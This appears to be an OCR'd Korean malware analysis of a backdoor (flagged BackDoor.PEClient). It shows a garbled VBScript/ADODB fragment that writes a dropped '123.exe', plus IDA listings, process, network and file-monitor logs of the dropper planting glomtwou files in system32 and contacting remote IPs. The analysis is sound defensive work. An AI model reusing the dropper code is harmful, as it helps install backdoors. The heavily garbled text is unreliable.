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Set g=CreateObject"A000B. Stream ) with si.Mode = 3. Type = 1..Cpeni), Wr|te ss.. SaveToFile "0 23.exe”. 2 end with
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Set RS=CreateObject("4D00B.Recordset”)
L=Len(ss)/2
RBS.Fields. &ppend "m",205,L
RS.0pen
RS, AddNew
RS("'m")=ss&ChrB(D)
RS.Update
55=RS("m"). GetChunk(L)
Set s=CreateObject"AD0DB. Stream")
with s
Mode = 3
Type =1
Open()
Mrite ss
SaveToFile "Civ 23.exe",2
end with
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RS.Update
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with s
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-text:0048236E Strings window

:Es:t;gg:g;g:; ; iniaiEiGiaiaiEs ve ro Address Lenath Type  Shing &

_text:BO4B236E ; Attributes: bp-based frame| - [data04030B0 DOOOOOOS — C  @sil

.text:8840236E R L (S = E

.text:0Bu0236E public start 00000005 C o 3+#w1B i

.text:08840236E start proc near 00000005 C @"al

text:-80408236E Qo0o00o7 C Sahbithbh b

-text:@040236E var_78 = dword ptr 00000005 C J3+R1B

.text:@8048236E var_74 = dword ptr 00000003 C <4397

-text:B048236E var_7@ = dword ptr 00000005 C har B

.text:06040236E var_6C = dword ptr 000a000F C [3H01'88 5524 Il

-text:8B4B236E var_68 = dword ptr 00000005 i Wwhniihash

.text:0040236E var_64 = dword ptr 00000000 C FreeLibrary

-text:B048236E var_ 68 = dword ptr 0000000F C GetProctddress

text:080848236E StartuplInfo = _STARTUPIN 00000000 C LoadLibranyt.

.text:06040236E var_18 = dword ptr 00000008 C Sleep

:Es:iggg:ggggg :2::1!' - 232:2 EE: * idata0040354E 00000014 C  GetSystemDirectamd v

.text:8048236E £ il | 2

text:0048236E ; FUNCTIOM CHUMK AT .text:@

.text B6848236E ; FUNCTION CHUMK nT .text ﬂ;‘lﬂmﬂmﬂhu BT v
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Executing function 'OnLoad
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File Options  “iew Process Find DLL Help
B = B & LSl oY
Process PID CPU Description Company Name ~
[Fvmnetdhcp. exe 2432 YWidware Vinet DHCP service Whware, Inc.
[Falg.exe 3436 spplication Laver Gateway Service Microsoft Corporation
[ Adobelmsve. exe 2548 System Level Service Liility Adobe Systemns
[Fllsass.exe 1340 L&A Shell (Export Yersion) Microsoft Corporation
EatlZevxx BXE 872 4TI External Event Utility EXE Module ATl Technnlng\es Inv:
HPLO 2 Internet Explorer i
a .g explorer, exe 1EI?B Windows Explorer Microsoft CDrporatan
aﬁptaxx‘exe 1408 &Tl Deskiop Control Panel ATl Technologies, Inc.
Jrundll3Z exe 1920 1 RunaDLL as an &pp Microsoft Corporation
) SynTPLpr.exe 1468 TouchPad Driver Helper &pplication Synaptics, Inc.
) SynTPEnh.exe 3662 Synaptics TouchPad Enhancements Synaptics, Inc.
&baﬂerymiser‘exe aRE0 Battery Miser LG Electronics Inc.
@& AGRSMMSG. exe 540 Softtdodem Messaging Applet Agere Systems
[T TaskSwitch.exe 1376
acrotray, exe 2368 AcroTray Adobe Systemns Inc.
4 GoogleDeskiop.exe B08
[ GoogleDesktiopinde:. exe 3612
[MGoogleDeskiopCrawl exe 2792
& Vormon.exe 4064 WCrrmon Mew Technology Yave Inc.
|IP Operator 2005.exe 4084 IPO3MFC £ T2
ctfmon. exe 4028 CTF Loader Microsoft Corporation
SimpLite-MSN exe 840 SimplLite-MSH Secway
A menmsar.exe 344 SN Messenger Microsoft Corporation
it ietoy. exe 3600
E¥i Ao athlik ove 505 Boathlik Internat Clack amething Decant i
Name # Description Company Name Wers|
msvort. dil Windows NT CRT DLL Microsoft Corporation 7.00.2
mswsock.dll Microsoft Windows Sockets 2.0 Service Provider Microsoft Corporation 5012
netapi32.dil Met Win32 &P1 DLL Microsoft Corporation 501.:
ntclll.dll NT Layer DLL Microsoft Corporation 6012
oledz.dil Microsoft OLE for Windows Microsoft Corporation 6012
aleaut32.dll Microsoft Corporation 5.01.3
] I Process Status Helper Microsoft Corporation 5.01.4
rasadhlp Remote Access AutoDial Helper Microsoft Corporation E.01.2
rasapidz.dil Remote Access ARI Microsoft Corporation 5012
rasman.dll Remote Access Connection Manager Microsoft Corporation 501.:
rpcrddll Remote Procedure Call Runtime Microsoft Corporation 6012
rtutils. dll Routing Litilities Microsoft Corporation RO1.:
securdz.dl Security Support Provider Interface Microsoft Corporation B.01.2
sensapi.dll SENS Connectivity AP1 DLL Microsoft Corporation E01.g%
< >
CPU Usage: 32%  Commit Charge: 23.71%  Processes: B3

2|3 TCP Monitor2 &elst 23 connection2 XM E & 7o IP & & Syt MEH
£ O FA0| 8000H ZEZ FK[S AlTec ¥ ol HIAE Znb cf $F ek 90|
AFs5IUCt o] o= =22 TCP &S AlTst= Z0| ot 2} Internet Explorerod|
71435101 connectiongs MASIEZ Windows XP SP29| YsiHol| £ ZHX| = X| gb=ct. Est
o[ AR ZZMATE ot 7| I{E0 ALBXt= OlE =X|AX| 2 ZAolct MK A
= IPFAE 211.196.142.220, 221.197.19.198, 60.25.127.2490|11 211.196.142.2202
k=l POl LHHZX| IP FAs x3[eh 21t &30 XS FAQUCEH o7|M IP FAs
HHZXADL ettt FAE o2 HEst Hez FHETCE



Flle Options Process Mew Help

Ha —

Frocess 7 Protocol Local Address Femote Address State

— [System Process]i0 TCR ®oert 3814 B0.26,127.249:3000 TIME_WAIT

[ alg.exe: 3436 TCP XCERT: 1030 *CERT:O LISTENING
®CERT:O LISTENING

1 GoogleDeskioplndex. exei3612  TCP
@ idag,exe! 1896 L|

a8 ORE. 5

& |EXPLORE . EXE:E8 . *

1 lzass.exe 1340 uop XCERT.isakmp Es

1 Isass.exe! 1340 UDP XCERT 4500 wie

4% msnmsgr.exe:344 TCP XCERT: 1136 localhost 11863 ESTABLISHED
& msnmsgr.exe: 344 uopP XCERT: 11339 LS

<& msnmsgrexe 344 uop scertdiscard !

B MateOntdain,exe 3732 TCP XCERT:E004 XCERT:O LISTEMING

1 NateOnbdain. exe 3732 TCP XCERT 6004 *CERT:0 LISTENING

[ NateOnbdain. exe 3732 TCP wcert 1151 211.234.239.114:5004 ESTABLISHED

% SimpLite-MEN, exe! 840 TCP XCERT11863 ®CERT:0 LISTENING
SimpLite-MSN. exel 540 TCP XCERT 11863 localhost 1136 ESTABLISHED
SimpLite-MSN, exei 840 TCP xcert 1138 207.46.0.111:1863 ESTABLISHED
SimpLite-rMSN, exe: 840 TCP wcert 1141 bhasell.secway.frhtp CLOSE_WaIT

M svchostexe1120 LoP XCERT: 1800 =i

1 svchostexe! 1120 upp xocert 1900 #lw

1 svchostexe! 1120 upP xocert 1900 #lw

[ swchostexei1120 UDpP xoert 1900 #lw

1 svchost. exel 1604 TCP XCERT.epmap XCERT:O LISTENING

1 svchost.exe 356 LDP XCERT. At i

H svchostexe: 356 UoP #Certntp wix

(1 svchost.exe! 356 UopP =certntp s

[ svchost.exe! 356 UppP wcertntp o

1 svchosterel576 LDP XCERT 1025 wx

1 svchost exe!576 LDP XCERT 1042 i

1 svchost.exel576 UubP XCERT1134 ww

(1 svchast.exe576 UDP XCERT:3579 i

—1 System:4 TCP XCERT.microsoft-ds XCERT.0 LISTENING

—1 System:d TCP scertnethios-ssn XCERT.0 LISTENING

— Systern:d TCP wcertnethios-gsn RCERT.0 LISTENING

—] Systern:d TCP wcertnethios-gsn RCERT.0 LISTENING

— System'4d UDP XCERT microsoft-ds i

—1 System:id UubP scertnethios-ns o

—1 System:d UbP scertnethios-dgm LS

—1 System:4 UoP wcertnethios-ns Al

—1 System:d UoP #certnethios-dgm wix

— Systern:d UppP zcertnethios-ns o

—] Systern:d uoP wcertnethios-dam o

i Winrm32 exe! 2052 TCP XCERT 4040 ®CERT:O LISTENING

2} Query the APNIC Wh

OiZE)  MEE) =10 SHRE =3 FEH :f
Q- Q XRA& Lonsezwn @ R-o w-Jd B
0] g‘]http:.l'.l'www.apnic.net."apnic-bin."whois.pl v 'UE o @
Cooxie ~ | Proxy: (noned % (1) Typed URLe (+) Wisited URLs () Cache (F) Passwords (F) Forr »
A

% [whois.apnic.net node-2]

% Whois data copyright terms http: /v, apnic. net/db/docopyright . html

inetnum: 60.24.0.0 - 60.30.255.255

netnarwe : CNCGROUP-TJ

country: CH =

descr: CNCGROUP Tianjin province network

admin-c: CH455-AP

tech—o: HZ190-ATD

status: ALLOCATED PORTAELE

mnt-ly: APNIC-HM

mnt—-lower: MATNT-CHNCGROUE—TJ

mnt-routes: MATNT-CHNCGROUP—ER

remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+—+-+-+—-+-+-+-+-+-+

rewmarks: Thiz chject can only be updated by APNIC hostmasters.

remarks: To update this object, please contact APNIC

rewmarks: hostmasters and include your organisation's account

remarks: name in the subject line.

remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+—+-+-+—+-+—+—-+—-+—-+—-+—+—+

changed: hr-changed@apnic.net 20040416

changed: hr-changed@apnic.net 20060124

Source: APNIC =
&) @ e & 17
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&% Process Explorer — Sysinternals: www.sysinternals.com

File  Options Miew Process Find DLL Help
o B3 &X 68
Process RPID CPU Description Company Name Ll
Flvmnetdhcp.exe 2432 Whdware Whnet DHCP service Whdware, Inc.
Flalg.exe 3436 Anplication Laver Gateway Service Microsoft Corporation
M adabelmsve.exe 2548 System Level Service Litility Adobe Systems
Flisass.exe 1340 LZA Shell (Export Version) kicrosoft Corporation
[FlatiZevux.exe 872 AT| External Event Utility EXE hModule ATl Technologies Inc.
F- ! [EXPLORE EXE Internet Explorer ki ft Carporation
Pl _‘1 explorer.exe 1076 ‘Windows Explorer Microsoft Corporation
atiptaxx.exe 1408 ATl Deskiop Control Panel ATl Technologies, Inc.
,_] rundllZ2 exe 1920 Fun a DLL as an &pp Microsoft Corporation
) SynTFPLpr.exe 1468 TouchPad Driver Helper Application Synaptics, Inc.
) SynTPEnh. exe 3552 Synaptics TouchPad Enhancements Synaptics, Inc.
&banerymiser.exe 3560 Eattery Miser LG Electronics Inc.
QAGHSMMSG.EXE 540 Softtodem Messaging Applet Agere Systems 3
[l Taskswitch.exe 1376 1
acrotray.exe 2368 AcroTray Adobe Systems Inc.
4 (@) GoogleDesktop. exe 603
[T GoogleDeskioplndex. axe 3612
[T GoogleDeskiopCrawl. exe 2792
#Mormon.exe 4064 Yermon New Technology Wave Inc.
(2P Operator 2005, exe 4034 IPO3IMFC S8 T2
[ ctimon.exe 4028 =a==m = = =
4 5% SimpLite-MSN. exe 340
& msnmsgr.exe 344
i ietay.exe 3600 )
Baattlil ovo Eee < (23] 288 MU wARSUCH =
Name ¢ Description sion
<Unahle to query process module inf... _ _ _
ctype.nls HE HES =20 AU MUS FE " + sl
index.dat
index.dat ZZ0IE: BackDoor,PEClient
inde dat Z B HOR2
sorkoy nls DE0IE:  CMWNDOWSHeysternIZiglomtwau, ime
sortthls.nls
unicode.nls M0 | [ osma | [ smml | [ 2Am
£ 1} >
CPU Usage: 100%  Commit Charge: 23.87% Processes: B3
= A= -
Internet Explorer O Ald== St AHEHst04 o4y o] MM=Ee=H IO =
glomtwou.ime It HA| Hlo|HAZ ZX|7F = QJCEH
File Monitor& &3t0] ZX|E File I0= =7|o 048 TAEE openst?| flsll A|EE 5t
WindowsWsystem32 ZC 0l glomtwou.dllZ} glomtwou.drvE A St
otzf 2B E2 File MonitorE &all &A= ot MM event 52 WA §F Zo|C.



ile Monitor - Sysinternals: www._sysinternals.com

File Edit Options “olumes Help

H AR @ 2 | #4b

# Process Request Path Result Other ~
29 ¢ explorer.ex.. DIRECTORY  Ci¥ SUCCESS  FileBothDirecton
a0 ¢ explorer.ex.. QUERY INFO... C¥123exe SUCCESS  FileStreaminform _
3l < explorer.ex.. OUERY INFO.., Ci¥#23exe SUCCESS  FileBasiclnfarma =
32 ¢ explorer.ex... READ Cieti 23 exe SUCCESS  Offset 0Length:
a3 < explorer.ex.. OPEN Ci¥# 23 exe | Raec2ophdsudbilhAagbehwiNE $0A.,. FILE MOT F... Options: Open +
34 ¢ explarer.ex.. OPEN Cit1 23 exeti{4cBoc155-6ole-11d1-8e41-00c04. .. FALE NOT F... Options: Open «
i) < explorer.ex.. DIRECTORY  Civy SUCCESS  FileBothDirecton
36 < explorer.ex... OPEN Ce 1 23 exety NOT & DIR... Options: Open C
a7 ¢ explorer.ex.. OPEN Civ 23 exe¥ | Summaryinformation: DATA FILE NOT F... Options: Open ¢
38 < explaorer.ex.. OPEN 123 exet Docf_| Summaryinformation:§0ATA  FLE NOT F... Options: Open ¢
29 ¢ explorer.ex.. OPEN Civ 23 exe¥ | Summaryinformation: FDATA FILE NOT F... Options: Open ¢
a0 < explaorer.ex.. OPEN 123 exet Docf_| Summaryinformation:§0ATA  FLE NOT F... Options: Open ¢
A1 ¢ explorer.ex... OPEN Civt 23 exe®™ | Summaryinformation: $DATA FLE NOT F... Options: Open ¢
42 < esplorer.ex.. OPEN Ci1 23 exe Docf_| Summaryinformation:$0ATA  FLE NOT F... Options: Open ¢
A3 ¥ explorer.ex... OPEN Cvt 23 exe | Summaryinformation: $DATA FLE NOT F... Options: Open ¢
44 < explorer.ex.. OPEN C¥1 23 exe™ Docf_| Summaryinformation:$0ATS  FLE MOT F... Options: Open +
a5 ¥ explorer.ex... OPEN Cvt 23 exe | Summaryinformation: $DATA FLE NOT F... Options: Open ¢
A6 < explorer.ex.. OPEN Ci¥# 23 exeW Docf_| Summaryinformation:$0ATA  FILE MOT F... Options: Open +
47 ¢ explarer.ex.. OPEN i1 23 exet | Summaryinformation: §OATA FILE MOT F... Options: Open «
A8 < explorer.ex.. OPEN Ci¥# 23 exeW Docf_| Summaryinformation:$0ATA  FILE MOT F... Options: Open +
a9 < explarer.ex.. OPEN i1 23 exvet | Summaryinformation: §0ATA FILE MOT F... Options: Open «
50 < explorer.ex.. OPEN Ci¥#1 23 exeW Docf_| Summaryinformation:$DATA  FILE MOT F... Options: Open +
51 < explarer.ex.. OPEN Ci¥#1 23 exet™ | DocumentSummaryinfarmation:§0... ALE NOT F... Options: Open ¢
52 ¢ explorer.ex.. OPEN C:%# 23 exet Docf_| DocumentSummaryinformati... FILE MOT F... Options: Open +
53 < explaorer.ex.. OPEN Ci¥#1 23 exet™ | DocumentSummaryinfarmation:§0... ALE NOT F... Options: Open ¢
54 ¢ explarer.ex... OPEN C:%¢1 23 exet Docf_| DocumentSummaryinformati... FILE MOT F... Options: Open +
55 < explaorer.ex.. OPEN Ci¥1 23 exe | Summaryinformation: §0ATA FLE NOT F... Options: Open ¢
=5 ¥ explorer.ex... OPEN Cit 23 exe Doct_ | Summaryinformation:$DATA  FLE NOT F... Options: Open «
57 < explorer.ex.. OPEN Cl¥1 23 exe™: | Summaryinformation: $DATA FILE MOT F... Options: Open
5a ¥ explorer.ex... OPEN Cit 23 exe Doct_ | Summaryinformation:$DATA  FLE NOT F... Options: Open «
[=iz] < explorer.ex... OPEN Ci¥#1 23 exe® | Summaryinformation: $DATA FILE MOT F... Options: Open «
E0 ¢ explorer.ex.. OPEN Cipt1 23 exet™ Docf_| Summaryinformation:$0ATA  FILE NOT F... Options: Open «
Bl < explorer.ex... OPEN Ci¥#1 23 exe®™ | Summaryinformation: $DATA FILE MOT F... Options: Open «
B2 < explarer.ex.. OPEN Ci1 23 evet Docf_| Summaryinformation:$0ATA  FLE NOT F... Options: Open «
B3 < explorer.ex.. OPEN Ci¥#1 23 exet | SebiesnrMkudrfcolaamtykdDa:$0...  FILE MOT F... Options: Open +
B4 < explorer.ex... OPEN Civ 23 exe¥ Doci_ | SebiesnrikudricolaamtykdD... FILE MOT F... Options: Open ¢
B5 ¢ explorer.ex.. OPEN C%¥# 23 exet | SebiesnrMkudrfcolaamtykdDa:$0...  FILE MOT F... Options: Open +
EE < explorer.ex... OPEN 1258 exeiDocf_ |SBh\esnerudl‘chlaamiyde‘.. FLE NOT F... Options: Open ¢
E7 ¢ explarer.ex... OPEN Ci%¢ 23 exet® | OzngkirtOwudrpObAayojd 1 gwhi$D... FILE MOT F... Options: Open +
B8 < explorer.ex... OPEN Civ 23 exe¥ Docf_| DzngkitOwudrpObdayojd1g... FLE MOT F... Options: Open ¢
B3 }‘ explorer.ex... COPEN C WWZS eer IOzngkInOwudrprAayD cﬂth $D.‘. FILE NOT F..‘ Options: Open {4
< 1 >

File Edit Options “olumes Help
HE 4B @ 9% | 4L

Process Request Path Result Other ~

—1 123.exe268  READ Civ1 23 exe SUCCESS  Offset 45720 Ler
—] 123.exe268 CLOSE Ciw23.ere SUCCESS
—1 123.exe'268  OPEN C¥ 123 exe SUCCESS  Options: Open ¢
—1 123.exe:268  OPEN Cove SUCCESS  Options: Open C
123822268 DIRECTORY  Cive SUCCESS  FileBothDirecton
RE&D Cive SUCCESS  Offset 20480 Ler
| o SUCCESS 26 Ler
= OPEN s ptions: Up
= DIRECTORY  Ci¥ SUCCESS  FileBothDirectory
= OPEN C¥HNINDOWSY SUCCESS  Options: Open C
= DIRECTORY  Ci¥WINDOWSYY SUCCESS  FileBothDirectory
—_ QOPEN CHINDOWSER sy stem 32w SUCCESS Options: Open C
| 123 exe 268 DIRECTORY  CrvwINDOWSYsystemd2vy SUCCESS  FileBothDirectory
123.exe!268 OPEN CHINDOWSER sy stem 32w SUCCESS Options: Open C
123.exe!266 WRITE CWINDOWSWeystern 32¥ glomtwou. dil SUCCESS  Oifset 0Length:
—] 123.exe268 CLOSE CHWINDOWSY systern 329 olomtwou. dll SUCCESS
—1 123.exe268  READ Ci¥123exe SUCCESS  Offset 36864 Ler
—1 123.exei268 CREATE CrtINDOWS W system 32 drivers™olomtwou.sys SUCCESS  Options: Overwr
1 123.exei268  OPEN Cw SUCCESS  Options: Open C
—1 123.exe:268  DIRECTORY  Ci# SUCCESS  FileBothDirecton
1 123.exeiz68  OPEN CitWINDOWSY SUCCESS  Options: Open C
—1 123 exei268  DIRECTORY  CiwINDOWSW SUCCESS  FileBothDirectory
— 123.exeiz68  OPEN CiHWINDOWSY systern 32 SUCCESS  Options: Open C
—1 123.exe'268 DIRECTORY  Civ¥WINDOWSYsystemd2v SUCCESS  FileBothDirectory
1 123.exei268  OPEN CINDOWSEW sy stemn 32 drivers SUCCESS  Options: Open C
—1 123.exe'268 DIRECTORY  Ci¥WINDOWSYWsystem32vidrivers SUCCESS  FileBothDirectory -
1 123.exe268 OPEN CwINDOWSW sy stem 32¥ driversiw SUCCESS  Options: Open O =
—1 123.exe'268  WRITE CWINDOWSWeystern 32 driversWolomtwou.sys SUCCESS  Offset 0 Length!
123.exe268  WRITE CHRINDOWSW sy stem 32% driversWolomtwou.sys SUCCESES  Offset 8192 Lent
123 Lt 268 CLOSE CINDOWSW sy stem 32¥ driversWolomtwou.sys SUCCESS
READ Clvi23.ere SUCCESS  Offset 40960 Ler
READ Ci¥123exe SUCCESS  Offset 45056 Ler
CREATE CrtNDOWS ¥ system 32% glamtwou. dry SUCCESS  Options: Overwr
OPEN Cw SUCCESS  Options: Open C
DIRECTORY  Ci¥ SUCCESS  FileBothDirectory
OPEN CitWINDOWSY SUCCESS  Options: Open C
Ei DIRECTORY  Ci¥WINDOWSYY SUCCESS  FileBothDirectory
123 exe 268 OPEN CHINDOWESW sy stem 32w SUCCESS  Options: Open C
123.exeiZ68  DIRECTORY  Ci¥WINDOWSWsystemn32v SUCCESS  FileBothDirectory
123.exe!268 OPEN C WWINDOWSWsyStemSZW SUCCESS  Options: Open Ca

1l >




Edit Options  Volumes Help

123, exei2bi
123.exel 268
123, exei2b0
123 exe! 268
123, exei2B0
123 exe! 268
123, exel 268
123.exe 268
123, exel 268
123, 252268
123, exel 268
123, exei2b0
123.exel 268
123, exei2b0
123.exel 268
123, exei2b0
123 exe! 268
123, exei2B0
123 exe! 268

123, exel 26

123, exe 268
123.exe268
123, 8% 268

¥ procexp.ex.

07 procexp.e..

CREATE
OPEN
DIRECTORY
OPEN
DIRECTORY
OPEN
DIRECTORY
OPEN
DIRECTORY
OPEN

OP
DIRECTORY
OPEN
DIRECTORY
OPEN
DIRECTORY
OPEN
WRITE
WRITE
CLOSE
CLOSE
OPEN
OPEN
DIRECTORY
OPEN
DIRECTORY
OPEN
DIRECTORY

QUERY INFO...

CtNDOWS ¥ system 32w ol omtwou. dll

EEqiE:

[
C
CININDOWSH

CrtINDOWSYY
CHINDOWSW systemn 32w
CHWINDOWSW sy stern 32
CwINDOWSW sy stem 32¥ driversiw
CHWINDOWSW systern 32¥ driversi
CwINDOWSW sy stem 32¥ driversiw

CHWINDOWSWeystern 32 drivers¥Wolomtwou. sys
CRINDOWSR sy stem 32w driversWolomtwou, sys
CINDOWSW sy stern 32 drivers¥Wolomtwou. sys

Civt 23 exe
W23 exe
WIND OWSsystem 32¥ glamtwou. dry

C
e
Ciet
Civd
C¥HNINDOWSY

CrtINDOWSYY
CHINDOWESW sy stem 32w
CHWINDOWSW sy stern 32
CHINDOWSER sy stem 32w
CHWINDOWSW eystern 32¥ glomtwou. dry
CHtINDOWSER sy stem Z2% glomtwou. dry
CWINDOWSW sy stern 32¥glomtwou. dry
Cit 23.exe
CWINDOWSW systemn J2¥olomtwou. dil

s
s
VRAINDOWS Y

UEEHIND WS
INDOWSW sy stemn 32
RWINDOWSESW sy stemn 32w
W23 exe

U 23 exe

ilsivigisisivinie]

H AR & | ¢9% [ Y
Process Request Path Result Other ~
123.exei268  DIRECTORY  Cl¥WINDOWSYsystem32v SUCCESE  FileBothDirecton
B QOPEN CHINDOWSER sy stem 32w SUCCESS Options: Open C
CHWINDOWSW sy stemn D2¥glomtwou. dil SUCCESS  Offset 0Length:

SUCCESS

SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESE
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

Options: Open C
FileBothDirectary
Options: Open C
FileBothDirector,
Options: Open C
FileBothDirector,
Options: Open C
FileBothDirector,
Options: Open C
Offset 0 Length:
Offset 8192 Len

Offset. 40960 Ler
Difset 45056 Ler
Options: Overwr
Options: Open C
FileBothDirector,
Options: Open C
FileBothDirector,
Options: Open C
FileBothDirector,
Options: Open O
Oifset 0 Length:
Offset 12285 Ler

Options: Openl
Options: Open C
FileBothDirecton
Options: Open C
FileBothDirecton
Options: Open C
FileBothDirecton
Aftributes! A
Options: Open {4

123, exei2bi
123 exe! 268
123, exei2B0
123 exe! 268
123, exel 268
123 exe! 268
123, exel 268
123, 252268
123, exel 268
123, exei2b0
123, exel 268

¥ procexp.ex.

07 procexp.e..

CREATE
OPEN
DIRECTORY
OPEN
DIRECTORY
OPEN
DIRECTORY
OPEN
WRITE
WRITE
CLOSE
CLOSE
OPEN
OPEN
DIRECTORY
OPEN
DIRECTORY
OPEN
DIRECTORY

QUERY INFO...

Civt 23 exe

L1t

[
C

C¥HNINDOWSY

CrtINDOWSYY
CHINDOWESW sy stem 32w
CHWINDOWSW sy stern 32
CHINDOWSER sy stem 32w
CHWINDOWSW eystern 32¥ glomtwou. dry
CHtINDOWSER sy stem Z2% glomtwou. dry
CWINDOWSW sy stern 32¥glomtwou. dry
Cit 23.exe
CWINDOWSW systemn J2¥olomtwou. dil

s
s
VRAINDOWS Y

UEEHIND WS
INDOWSW sy stemn 32
RWINDOWSESW sy stemn 32w
W23 exe

U 23 exe

ilsivigisisivinie]

File Edit Options “olumes Help
H AR & | ¢9% [ Y
# Process Request Path Result Other ~
1 123.exei268  DIRECTORY  CiywINDOWS¥system32w SUCCESE  FileBothDirecton
—] 123.exei268  OPEN CHWINDOWSYW systern 32w SUCCESS  Options: Open C
—1 123.exe'268  WRITE CHWINDOWSW sy stemn D2¥glomtwou. dil SUCCESS  Offset 0Length:
—] 123.exe268 CLOSE CIINDOWS Y sy stemn 32 gl omtwou, ofll SUCCESS
123.8xe:268  READ Ci¥123exe SUCCESS  Offset 36864 Ler
CREATE CrtINDOWS W system 32 drivers™olomtwou.sys SUCCESS  Options: Overwr
OPEN Cw SUCCESS  Options: Open C
DIRECTORY  Ci SUCCESS  FileBothDirecton
OPEN CININDOWSH SUCCESS  Options: Open C
DIRECTORY  Ci¥WINDOWSYY SUCCESS  FileBothDirectory
QOPEN CHINDOWSW systemn 32w SUCCESS  Options: Open C
DIRECTORY  Ci¥WINDOWSW system 32 SUCCESS  FileBothDirectory
QOPEN CwINDOWSW sy stem 32¥ driversiw SUCCESS Options: Open C
DIRECTORY  C¥WINDOWSWsystern32vWdriversit SUCCESS  FileBothDirectory
123.exe!268 OPEN CwINDOWSW sy stem 32¥ driversiw SUCCESS Options: Open C
123.exe:266 WRITE CWINDOWSWeystern 32 driversWolomtwou.sys SUCCESS  Offset 0 Length!
123.exe268  WRITE CHRINDOWSW sy stem 32% driversWolomtwou.sys SUCCESES  Offset 8192 Lent
123, exe 268 CINDOWSW sy stem 32¥ driversWolomtwou.sys SUCCESS

SUCCESS

SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

Offset. 40960 Ler
ffs et 45056 Ler

Option
FileBothDirector,
Options: Open C
FileBothDirector,
Options: Open C
FileBothDirector,
Options: Open O
Oifset 0 Length:
Offset 12285 Ler

Options: Openl
Options: Open C
FileBothDirecton
Options: Open C
FileBothDirecton
Options: Open C
FileBothDirecton
Aftributes! A
Options: Open {4
S




& File Monitor — Sysinternals: www._sysinternals.com

File Edit Options “olumes Help

B apre @ | % | #y
Process Request Path Result Other ~
2 procexp.ex.. DIBECTORY O SUCCESS  FileBothDirecton
2% procexp.ex.. CUERY INFO.. Ci¥t123exe SUCCESE  Atributes: A
¥ procexp.ex.. SETINFORM.., Ci¥123exe SUCCESS  FileBasiclnforms
27 procexp.ex.. READ Cieti 23 exe SUCCESS  Oiffset 0Length:
¥ procexp.ex.. QUERY INFO.., Ci'¥123exe SUCCESS  Length: 46136
27 procexrp.ex.. QOUERY INFO.. C¥t123exe SUCCESS  Length: 461368
¥ procexp.ex.. CLOSE C¥1 23 exe SUCCESS
[ svchostexe... OPEN CrINDOWS¥WPrefetchd 1 23 EXE- 1 FE29FBE. pf SUCCESS  Options: Open «
(1 svchostexe.. DIRECTORY  CivwWINDOWSYPrefetchid SUCCESS  FileBothDirector
[ svchostexe... QUERY INFO... C#WINDOWSWPrefetchit] 23 EXE- 1FE29FBE. pf SUCCESS  Length: 6862
[ svchostexe... QUERY INFO... C¥WINDOWS¥Prefetchi1 23 EXE- | FE29FB6. pf SUCCESS  Length: 6862
[ svchostexe... CLOSE CrINDOWSY¥Prefetchvd 1 23 EXE- 1FEZ9FBE. pf SUCCESS
[ svchostexe... QUERY INFO... C¥123.EXE SUCCESS  Atributes: A
1 svchostexe,.. OPEN 123 EXE SUCCESS Options: Open ¢
] svchostexe... DIRECTORY — Civ SUCCESS  FileBothDirecton
1 svchostexe.. QUERY INFO... C¥123.EXE SUCCESE  Filelnternallnfarm
] svchost.exe.. CLOSE 23, SUCCESS
1 CREATE [T 3
1 svchostexe.. DIRECTORY — Clfl FPretetchid oy
1 svchostexe... WRITE CRINDOWSWPrefetchiv! 23 EXE- 1 FE29FB6. pf SUCCESS  Offset 0Length:
] svchostexe... CLOSE CiWINDOWSWPrefetchH 23 EXE- 1FE29FBE. pf SUCCESS
1 123.exe!268  QUERY INFO... Ci¥HINDOWSYsystemn32vglomtwou,dil SUCCESS  Length: 36864
123.exeiZ68  QUERY INFO... C¥WINDOWSW system32%glomtwou. dil SUCCESS  Length: 36864
123.exe268  WRITE CWINDOWSW system 32¥olomtwou. dil SUCCESS  Offset 36864 Ler
123.exei268 CLOSE CHWINDOWSW systemn 32¥ glomtwou. dil SUCCESS
123.ex QUERY INFO... C¥WINDOWS¥ systern32¥olomtwou. dil SUCCESE  Atributes: A
123 e OPEN CHWINDOWSW systemn 32¥ glomtwou. dil SUCCESS  Options: Open ¢
123.exe 26 QOPEN Ci SUCCESS Options: Open C
123.exe'268 DIRECTORY SUCCESE  FileBothDirecton
123.exei288  OPEN CIINDOWSHY SUCCESS  Options: Open C
123.exei260  DIRECTORY — Cl¥HWINDOWSW SUCCESS  FileBothDirecton
CPEN CrtNDOWS ¥ system 32w SUCCESS  Options: Open O =
] DIRECTORY  Ci¥WINDOWS¥systern32vy SUCCESS  FileBothDirector:
| QUERY INFO... C¥WINDOWS¥Wsystern32¥olomtwou.dil SUCCESS  Length: 39096
— CLOSE CWINDOWSW systemn D2¥glomtwou. dil SUCCESS
| QUERY INFO... C¥WINDOWS¥ system32¥glomtwou. dll SUCCESS  attributes: &
; QOPEN CWINDOWSW system D2¥glomtwou. dil SUCCESS Options: Open ¢
= OPEN i SUCCESS  Options: Open C
= DIRECTORY — Civ SUCCESE  FileBothDirecton
3 OPEN CrtINDOWSYY SUCCESS  Options: Open C
— 123exe:268  DIRECTORY  ClWINDOWSHY SUCCESE  FileBothDirector .

>

0ol 252l glomtwou.dll € IDAS 0|235}0f AHE T
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File Edit Search  Wiew Debugger
= =

¢  E N

A En

Waystem3Z¥Wglomtwou. dil

Optionz  Windows  Help

Teut [l

[x

F%® 9T

2e

=1=lniys
v/ &

5 &

~ - (N e
1D Yigd " Hex Wiew-A " BB Exports "E_% Imparts " N Names " \Lﬂ] Functions| "t Shings |_& Structures‘ En Enumsz

A Yiew—A

* .text:18883FCC
.text:18883FCD
.text:18883FCD ;
.text:18883FCD
_text:18883FCD ;
.text:18883FCD
.text:18883FCD

db @

IGIGIGIEEEE?s u b R o U T 1 N E {5

